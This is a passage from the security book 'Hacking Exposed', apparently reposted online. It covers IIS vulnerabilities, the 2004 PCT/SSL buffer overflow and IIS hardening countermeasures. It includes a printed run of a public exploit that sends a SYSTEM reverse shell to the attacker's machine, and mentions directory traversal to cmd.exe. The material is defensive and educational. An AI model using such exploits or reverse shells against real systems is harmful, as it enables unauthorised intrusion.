To detect systems already infected by Sasser, we recommend following standard incident-response procedures and relying on your antivirus infrastructure. Microsoft also released an online tool to scan a single local PC for the presence of the Sasser worm at http://www.microsoft.com/security/incident/sasser.mspx.

Tip 

Sasser may cause lsass.exe to crash, which will force the operating system to shut down after 60 seconds. This shutdown can be aborted on Windows XP systems by using the built-in shutdown. exe -a command. This shutdown cannot be aborted on Windows 2000 systems.

Windows Internet Service Implementations

When Microsoft began installing Internet Information Services (IIS) by default with Windows 2000, an entire new genre of exploits was unleashed. One major release later (Windows Server 2003 ships with IIS 6), Microsoft is finally disabling IIS in its default installations. In fact, IIS is not even installed in the default OS installation, and if you choose to install it, it deploys within a fairly minimal configuration. This single step will probably do more for Windows security than all the patches released since NT4 SP3.

Yes, it has been that bad, as many in the security research community have painfully demonstrated over the years (eEye Digital Security in particular was instrumental in discovering some of the most debilitating IIS flaws of the past several years). Suffice it to say, if you run IIS without understanding how to secure it, we predict that it will only be mere minutes before your systems are owned by the marauding corps of vandals, hackers, and automated worms stalking the Web today. And don't think your private corporate network is safe, eitherIIS worms continue to bounce around internally at many companies we've consulted for!

Classically, IIS exploits have focused on the so-called World Wide Web Service, Microsoft's implementation of an HTTP daemon, and have clustered around three major attack vectors:

  • Information disclosure

  • Directory traversal

  • Buffer overflows

Over the last few years, thanks to substantial catch-up work by Microsoft in responding to the onslaught of IIS HTTP exploits, most of these attack vectors have been shut down (if the dearth of new exploits is any indication).

Of course, besides the HTTP implementation, IIS also includes FTP, SMTP, and NNTP services. Surprisingly, these other Internet service implementations have not been included in the re-architecture of the HTTP service that Microsoft performed with IIS6, in which the HTTP listener was moved into the kernel and all other HTTP processing was shifted into a much less privileged user-mode process. Although disabled by default now, FTP, SMTP, and NNTP all still follow the monolithic pre-IIS6 design, where they run inside of a single process running as SYSTEM. Not surprisingly, there have been a few recent exploits of these services, and they will likely continue to flourish if Microsoft's SMTP implementation (which is shared by Exchange Server) continues to gain popularity (FTP and NNTP appear to be going the way of the dodo as HTTP-based alternatives gain prominence).

We'll discuss the latest IIS attacks in this section, which is organized according to the major attack vectors we described earlier. We'll save our discussion of countermeasures for the end so that all relevant IIS security best practices get captured in one place.

Buffer Overflows

Popularity:

10

Simplicity:

9

Impact:

10

Risk Rating:

10

Ever since their June 1999 discovery of a buffer overflow in the ISM.DLL, the researchers at eEye Digital Security have churned out regular advisories on other spectacular IIS buffer overflows, including IIS extensions like IDA.DLL for Indexing Services and msw3prt.dll for the Internet Printing Protocol (IPP). One persistent theme to eEye's IIS research is that IIS' major problem lies in these extensions to the core HTTP functionality. Microsoft reacted by IIS6 and disabled most of these extensions by default.

Unfortunately, there are some extensions that many websites simply can't do without, such as Secure Sockets layer (SSL) support necessary for securing e-commerce transactions. So it was fairly distressing when, in April 2004, Microsoft published security bulletin MS04-011 announcing that Internet Security Systems (ISS) had discovered a buffer overflow in the library that implements SSL for IIS (see http://xforce.iss.net/xforce/alerts/id/168). Technically, it was not the SSL implementation at fault here, but rather code for a legacy protocol called PCT in the same library as the SSL functionality. PCT, or Private Communications Transport, was an early candidate for providing cryptographic support to HTTP that was superseded by SSL many years ago. Unfortunately, Microsoft never removed the legacy code from their cryptographic library, which is still used to provide SSL support in IIS. Quite a vivid illustration of an important security principle: Legacy code is typically poorly maintained and should be removed as aggressively as possible, especially when it no longer serves any purpose. Otherwise, it just provides additional attack surface for hackers to gain a foothold.

As usual, exploit code was released immediately following Microsoft's posting of their security bulletin. Johnny Cyberpunk of The Hacker's Choice (THC; see http://thc.org) posted thciisslame.c to several mailing lists, which, when compiled, exploited Windows 2000 SP4 systems running IISand the vulnerable SSL librarybound to port 443 (the default). The exploit sends a remote shell running as SYSTEM to a user-defined port on the attacker's machine, as shown here:

 C:\tools>thciisslame 192.168.234.119 192.168.234.2 31337 THCIISSLame v0.2 IIS 5.0 SSL remote root exploit tested on Windows 2000 Server german/english SP4 by Johnny Cyberpunk (jcyberpunk@thc.org) [*] building buffer [*] connecting the target [*] exploit send [*] waiting for shell C:\winnt\system32>whoami NT AUTHORITY\SYSTEM 

In June 2004, Microsoft confirmed a report of a security issue known as Download.Ject affecting customers using Internet Explorer. (Download.Ject is also known as JS.Scob.Trojan, Scob, and JS.Toofeer.). In what was apparently a two-pronged attack using servers compromised with the PCT vulnerability located in Russia and previously undisclosed vulnerabilities in IE, many consumers were directed to the compromised servers and were then themselves compromised (including installation of adware). For more information on Download.ject, see Chapter 13 and http://www.microsoft.com/security/incident/download_ject.mspx.

It's also important to note that any service or application that uses the flawed Windows SSL library is vulnerable and may be exploitable. This includes Microsoft services such as IIS, Active Directory, and Exchange, or any third-party application that uses the vulnerable shared SSL/PCT functions.

Note 

The SSL library included in Windows Server 2003 is vulnerable, but the PCT 1.0 protocol is disabled by default using the workaround we'll show next.

There have been buffer overflows in non-HTTP IIS services recently as well. Just to name a couple, Microsoft security bulletin MS04-036 dated October 12, 2004, announced a buffer overflow in the Network News Transfer Protocol (NNTP) component of IIS, and bulletin MS04-035 of that same day also revealed a buffer overflow in the IIS SMTP service. Clearly, as the HTTP components have been either disabled in default configurations or had existing buffer overflows patched, the security research community is targeting other IIS components , since they are likely to be accessible via the Internet.

PCT Buffer Overflow Countermeasures

As is typically the case with programming weaknesses in Microsoft software, and especially those that are not easily disabled using network access control, the best defense is patching as soon as possible. For the PCT buffer overflow, see http://www.microsoft.com/technet/security/bulletin/ms04-011.mspx for specific patch information.

There is a system configuration that can be implemented to work around this vulnerability in the interim. KB article 187498 describes how to disable certain SSL protocols, including PCT 1.0, SSL 2.0, and SSL 3.0 (see http://support.microsoft.com/?kbid=187498). In essence, set the REG_BINARY Registry value HKLM\System\CurrentControlSet\Control\ SecurityProviders\SCHANNEL\Protocols\PCT 1.0\Server\Enabled to 00000000 (disabled).

IIS Attack Countermeasures

The following section discusses basic through advanced IIS security countermeasures, to ensure that your site is locked up as tight as possible against the inevitable attacks that Microsoft's popular Internet services implementation will receive when exposed to hostile environments.

Network Ingressand Egress!Filtering Of course, firewalls or routers should be used to limit inbound access to web servers, but be sure to also consider egress filtering of outbound communications from the web server. In almost all cases, web servers should never be initiating connections to external parties. In fact, as you've seen in the preceding examples, the most frequently used web-hacking technique is to initiate a "phone home" connection to the hacker's machine. Restrict Internet egress from web servers to "TCP established" only to prevent these sorts of tricks (of course, web servers will typically need to initiate connections to back-end databases, but we are assuming such back-end connections are semitrusted and therefore would not require egress filtering).

As the Internet evolves, egress filtering to established connections only is becoming more difficult to implement. For example, XML-based Web Services (see Chapter 12) often have a need to initiate outbound communications with the Internet. If you are running Web Services, we recommend you segregate networks with servers requiring more complex communications requirements from standard "respond only" web servers.

Note 

Web Services security is discussed in its own chapter in Hacking Exposed: Web Applications (McGrawHill/Osborne, 2002).

Keep Up with Patches! OK, there's simply no excuse for having an unpatched IIS server sitting on the Internet today. Period. If you choose to challenge this mantra, have fun extracting the next few IIS worms from your servers again and again and again .

And yes, we recommend patching even if you've disabled functionality affected by a specific patch. Microsoft often makes quantum leaps with the release of service packs, and if you have not kept up with interim patches, you can find yourself out in the cold when the next greatest service pack comes along. Plus, you never know how the interaction of software components will play outjust because something is disabled doesn't mean that an intruder may not be able to exploit it if it sits somewhere on your disk. In any serious organization we've consulted for, the only real discussion about patch application revolves around when, not which.

We may be willing to cut a little slack on the when part, simply because Microsoft's existing toolset for patch deployment is fragmented and confusing. See the section "Keeping Up with Patches," later in this chapter, to see what your options are in this space.

Disable Unused ISAPI Extension and Filters! ISAPI extensions are the DLLs that handle requests for certain file types (for example, .printer or .idq files). Based on the history of IIS vulnerabilities related to problematic ISAPI extensions, this is the most important step you can take toward making your IIS deployments more secure .

You can control which extensions are loaded when IIS starts using the IIS Admin tool (%systemroot%\system32\inetsrv\iis.msc). Right-click the computer you want to administer, select Properties Master Properties WWW Service Edit Properties of the Default Web Site Home Directory Application Settings Configuration App Mappings, and then remove the mapping for .htr to ism.dll, as shown in Figure 4-6.

image from book
Figure 4-6: To prevent the .printer buffer overflow exploit and many like it that rely on built-in ISAPI extensions, simply remove the application mappings for the appropriate extension in the IIS Admin tool.

To give a couple relevant examples of the many problems this single step can ward off, consider that all of the serious IIS buffer overflows to date could be completely avoided if the vulnerable ISAPIs were unmapped.

You should also strongly consider unloading unused ISAPI filters as well. ISAPI filters parse every IIS request rather than just those with appropriate extensions. Although there have been far fewer problems with ISAPI filters than with extensions, better safe than sorry. To disable ISAPI filters in Windows 2000 and above, open the IIS Admin tool, right-click the computer you want to administer, select Properties Master Properties WWW Service Edit ISAPI Filters, and remove any filters you don't need, as shown in Figure 4-7. You'll have to evaluate which of the filters you need, but we recommend at least disabling the FrontPage Server Extensions filter (fpexedll.dll) if you are not using it.

image from book
Figure 4-7: Removing the FrontPage Server Extensions ISAPI filter from IIS 5 and later
Tip 

What's the difference between ISAPI extensions and filters? Extensions handle only those requests for matching file types (for example, .printer or .idq files), whereas filters intercept all inbound IIS requests.

No Sensitive Data in Source Code In the past, IIS has suffered from information disclosure issues such as ::$DATA and +.htr that could lead to serious compromise (see Chapter 12 for more information about these vulnerabilities). Yes, problems like that should be patched and otherwise addressed using configuration best practices outlined earlier, but you can make a sure bet that there will be future exploits that circumvent the latest and greatest patches and configurations. Therefore, the only sure way to prevent such information from being disclosed is to make sure it's not available in the first place!

Far and away the biggest offender in this space is the storage of SQL Server credentials in ASP scripts, as you saw in our example of the +.htr exploit. There are a number of ways to avoid thisprimarily the use of SQL integrated authentication so that the credentials don't need to be stored in script.

Tip 

See Hacking Exposed: Windows Server 2003 (McGraw-Hill/Osborne, 2003) for an entire chapter on SQL Server security best practices.

Another fruitful source of inappropriately disclosed information is so-called include files that support ASP scripts. A simple trick to help prevent disclosure of include files, which usually carry the extension .inc, is to rename them with the .asp extension. This hands them to the Asp.DLL ISAPI extension rather than rendering them as plaintext in the client browser. Make sure to rename all references to the new file names in your ASP scripts and related files.

Deploy Virtual Roots on Separate Volume Directory traversal attacks like the Unicode and Double Decode (see Chapter 12) are among the first tricks that any half- intelligent attacker will attempt on your website, so make sure that such attempts to escape from virtual root directories do not allow intruders to find sensitive tools or data. These are sometimes also called "dot-dot-slash" attacks, after the standard syntax for navigating up one directory in a hierarchical file system. Typically, directory traversal attacks cannot navigate from one volume to another (for example, jump across Windows drive letters), so if you install your vroots on a separate volume, these attacks cannot wander, say, into the system directory and execute the command shell (cmd.exe). Attempts to execute cmd.exe via directory traversal on IIS has been tried so many times at this point, it's reached script- kiddie status.

Also make sure to avoid installing powerful administrative tools on the vroot volume; otherwise, you may wind up in the same situation. Also, if you plan to move existing vroots to a separate drive, remember to use a tool such as the Resource Kit's robocopy that can preserve NTFS ACLsusing the standard Windows copy between volumes will change ACLs to "Everyone: Full Control" by default!

Use NTFS While we're on the topic of NTFS, allow us to insert a healthy reminder that all IIS security depends on NTFS permissions. Make sure you have carefully considered each and every ACL under all your vroots to ensure that appropriate access is granted. Do not use FAT partitions for web servers. FAT offers zero security and will leave your server wide open.

Tip 

We recommend setting %systemdrive% (for example, C:\) permissions to Administrators: Full Control, System: Full Control, and Authenticated Users: Read and Execute, List Folder Contents, and Read. Also, for a list of permissions that should be assigned to powerful utilities in the system folder, see http://www.microsoft.com/resources/documentation/iis/6/all/proddocs/en-us/sec_acc_ntfspermovr.mspx.

Disable Unnecessary Services As we've advertised many times throughout this book, the shortest route to a more secure system is to disable functionality, especially when it's functionality that's available remotely over the network. Some important services to consider when hardening IIS include the standard Windows services (SMB, Alerter, Messenger, and so on), IIS-related services (W3SVC, FTP, SMTP, and NNTP), Index Server, and any other outliers such as FrontPage Server Extensions Visual Studio RAD support (a rarely installed optional component of Windows 2000 that was the target of a nasty buffer overflow in 2001, which is why we mention it here).

Other IIS Security Resources Microsoft has long maintained various IIS security checklists, all of which are cataloged at http://www.microsoft.com/technet/security/prodtech/iis/default.mspx. One of the best resources is the "Secure Internet Information Services 5 Checklist," by Michael Howard. Although the information is somewhat dated as of this writing, it includes several other countermeasures of note in addition to the most important ones listed here.

Consider IIS Lockdown and URLScan We also strongly encourage readers to deploy the IIS Lockdown tool on all IIS servers. The IIS Lockdown tool is a wizard that walks administrators through the process of hardening IIS on a system. One of its key features is called URLScan, which is an installable ISAPI filter that scans all incoming IIS requests and rejects malicious attacks based on a configuration file set by the administrator. Properly configured, URLScan can stop all the IIS attacks listed in this book cold.

Tip 

IIS6 implements much of the IIS Lockdown and URLScan functionality by default; see http://www.microsoft.com/windowsserver2003/community/centers/iis/iis6_faq.mspx and http://www.microsoft.com/technet/security/tools/urlscan.mspx.

Enable Logging At some point in its duty cycle, a web server will get compromised. Having information about the inevitable attack after the fact is critical. Make sure that IIS is configured to log requests in the W3C Extended logging format and that you are recording client IP address, username, method, URI stem, HTTP status, Win32 status, and user agent ( optionally , also grab server IP address and server port if you have multiple IIS servers on a single computer).

Tip 

Don't forget the Event Logs, which often record events that don't appear in the IIS logs, such as sudden service interruption (for example, by a buffer overflow attack).

Tighten Web App Security, Too! Last but not least, it's important to note that all of the countermeasures in this section relate solely to IIS and cover very little about the application logic running on top of the server. So important and robust is the information necessary to securing web applications that we've written an entire book on the topic: Hacking Exposed: Web Applications (McGraw-Hill/Osborne, 2002). Check it out.



Hacking Exposed
Hacking Exposed 5th Edition
ISBN: B0018SYWW0
EAN: N/A
Year: 2003
Pages: 127

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net